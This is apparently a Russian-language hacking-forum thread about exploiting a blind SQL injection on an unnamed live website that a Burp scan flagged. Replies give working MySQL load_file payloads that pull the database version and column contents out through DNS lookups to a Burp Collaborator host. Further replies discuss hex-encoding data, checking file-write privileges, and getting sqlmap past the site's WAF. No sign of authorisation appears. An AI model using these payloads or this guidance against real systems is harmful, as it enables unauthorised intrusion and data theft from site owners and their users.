sql Burp Collaborator

Discussion in 'Песочница' started by brown, 30 Nov 2021.

  1. brown

    brown Member

    Joined:
    16 Oct 2016
    Messages:
    241
    Likes Received:
    11
    Reputations:
    1
    Первый раз столкнулся с такой уязвимостью
    Бурп Говорит sql

    Code:
    The URL path filename appears to be vulnerable to SQL injection attacks. The payload (select load_file('\\\\x9cx3zrqjd911f1f2ppyfpliy.burpcollaborator.net\\wer')) was submitted in the URL path filename. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed.  The database appears to be MySQL.
    GET /(select%20load_file('%5c%5c%5c%5x9cx3zrqjd911f1f2ppyfpliy.burpcollaborator.net%5c%5cwer'))/

    Code:
    The Collaborator server received a DNS lookup of type A for the domain name x9cx3zrqjd911f1f2ppyfpliy.burpcollaborator.net
    При переходе по get запросу пишет страница не найдена!Я так понимаю он както меняет DNS запись?
    Подскажите как крутануть
     
    K800 and dooble like this.
  2. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    222
    Likes Received:
    587
    Reputations:
    144
    Выполнился подзапрос и произошла попытка отрезольвить поддомен burpcollaborator.net.
    Это говорит о том что доступны функциии работы с файлами, load_file() - точно доступна.

    Т.е. - чтение файлов, возможно - запись файлов.

    Это - SQLi с файловыми привилегиями, соответственно все способы работы с SQLi и пробовать.

    И можно проверить на SSRF.
     
    K800, fandor9, Baskin-Robbins and 3 others like this.
  3. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    674
    Likes Received:
    1,472
    Reputations:
    448
    Вот на этом моменте, нужно запомнить, что это справедливо только для Windows, ибо UNC.

    Ничего не меняется :) Отображается факт резолва доменного имени. Которое было запрошено в результате выполнения SQL запроса, инъекции в текущем кейсе.

    Техника называется DNS Exfiltration и относится к классу Out-of-Band (OOB) техник. Применима в различных видах слепых (blind) уязвимостей и не только. Простым языком, атакующий вытягивает данные через DNS запросы с атакуемой машины к своему DNS серверу. Например, используя такой запрос:

    Code:
    (select load_file(concat('\\\\',version(),'.burpcollaborator.net\\')))
    
    Прилетит, что-то типа 10.3.31-MariaDB-0ubuntu0.20.04.1.burpcollaborator.net и т.д. и т.п. Более подробно про OOB в MySQL: https://www.exploit-db.com/docs/english/41273-mysql-out-of-band-hacking.pdf

    Стоит отмтетить, что техники типа Time-Based, Boolean-Based, OOB, стоит использовать в последнюю очередь, в связи с их накладными расходами и лишней "шумностью". И как правильно подметил @dooble, нужно проверить права на запись файлов, что будет гораздо проще, а, возможно даже, это есть основная цель атаки :)
     
    #3 crlf, 1 Dec 2021
    Last edited: 1 Dec 2021
    K800, fandor9, Spinus and 4 others like this.
  4. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    222
    Likes Received:
    587
    Reputations:
    144
    Сканер зацепил SQLi проверкой OOB, но это не значит, что другие вектора 100% недоступны.
    Возможно это обычная SQLi, возможно даже с выводом.
    Поэтому можно пробовать все, что умеем с SQLi.
     
    fandor9 and brown like this.
  5. brown

    brown Member

    Joined:
    16 Oct 2016
    Messages:
    241
    Likes Received:
    11
    Reputations:
    1
    Поставил на Burp -"SQLMap DNS Collaborator" запускаю мап с настройками --dns-domain=zzzzzz.burpcollaborator.net.

    [CRITICAL] unable to connect to the target URL

    Мне нужно сделать проброс портов(53) я так понимаю?
     
    dooble likes this.
  6. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    222
    Likes Received:
    587
    Reputations:
    144
    Нет, 53 порт ни при чем, sqlmap не может приконнектиться на таргет, возможно сработал ваф.
     
    K800 likes this.
  7. brown

    brown Member

    Joined:
    16 Oct 2016
    Messages:
    241
    Likes Received:
    11
    Reputations:
    1
    Продолжение темы!Да ваф не пускает именно sqlmap!Как он(ваф) определяет что запрос делает именно sqlmap?Какие варианты обхода есть?
     
  8. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    674
    Likes Received:
    1,472
    Reputations:
    448
    Вопрос слишком размыт, недостаточно входных данных. Вариаций срабатывания блокировок могут быть сотни, если не тысячи. И от вендора, к вендору, а так же технологического стека, будут свои заморочки.

    Пока, можно посоветовать только это:

    https://bit.ly/3ryAB53
    https://bit.ly/3lBaeYj

    Во избежание гадания на кофейной гуще, требуется:

    - Полный запрос (HTTP) который блокируется
    - С какимим параметрами запускается SQLMap

    И тогда, возможно, кто-то поможет обойти/раскрутить инъекцию.
     
    #8 crlf, 5 Dec 2021
    Last edited: 5 Dec 2021
    Baskin-Robbins, dooble and erwerr2321 like this.
  9. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    222
    Likes Received:
    587
    Reputations:
    144
    Не обязательно использовать sqlmap, раз "руками" проходит, можно крутить опираясь на Burp Collaborator client, по технологии, как писали выше.

    Получаем поддомен (по кнопке "Copy to clipboard"), например выдали такой адрес: etb1a29yallq56jzonu0fx3cz35tti.burpcollaborator.net
    тогда шлем запросы
    Code:
    GET /(select%20load_file(concat('\\\\',version(),'.etb1a29yallq56jzonu0fx3cz35tti.burpcollaborator.net\\')))/ HTTP/1.1
    Сервер не знает такое имя ресурса, поэтому попытается его отрезольвить, т.е. запросит свой ДНС сервер и тогда в окне Burp Collaborator client мы увидим этот запрос, где частью имени будет наша полезная нагрузка
    Code:
    10.3.31-MariaDB-0ubuntu0.20.04.1.etb1a29yallq56jzonu0fx3cz35tti.burpcollaborator.net

    вместо version() можно вставить подзапросы, типа
    Code:
    GET /(select%20load_file(concat('\\\\','random_string.',(select%20version()),'.etb1a29yallq56jzonu0fx3cz35tti.burpcollaborator.net\\')))/ HTTP/1.1
    Code:
    GET /(select%20load_file(concat('\\\\','random_string.',(select%20column_name%20from%20table_name),'.etb1a29yallq56jzonu0fx3cz35tti.burpcollaborator.net\\')))/ HTTP/1.1
    рандомную строку нужно добавлять, если шлем повторные запросы, они уже известны нашему ДНС и метод не сработает.

    Если в результате подзапроса будут недопустимые символы для ДНС, можно их захексить (hex()).

    Вот тогда и будет видно, на чего агрится ваф.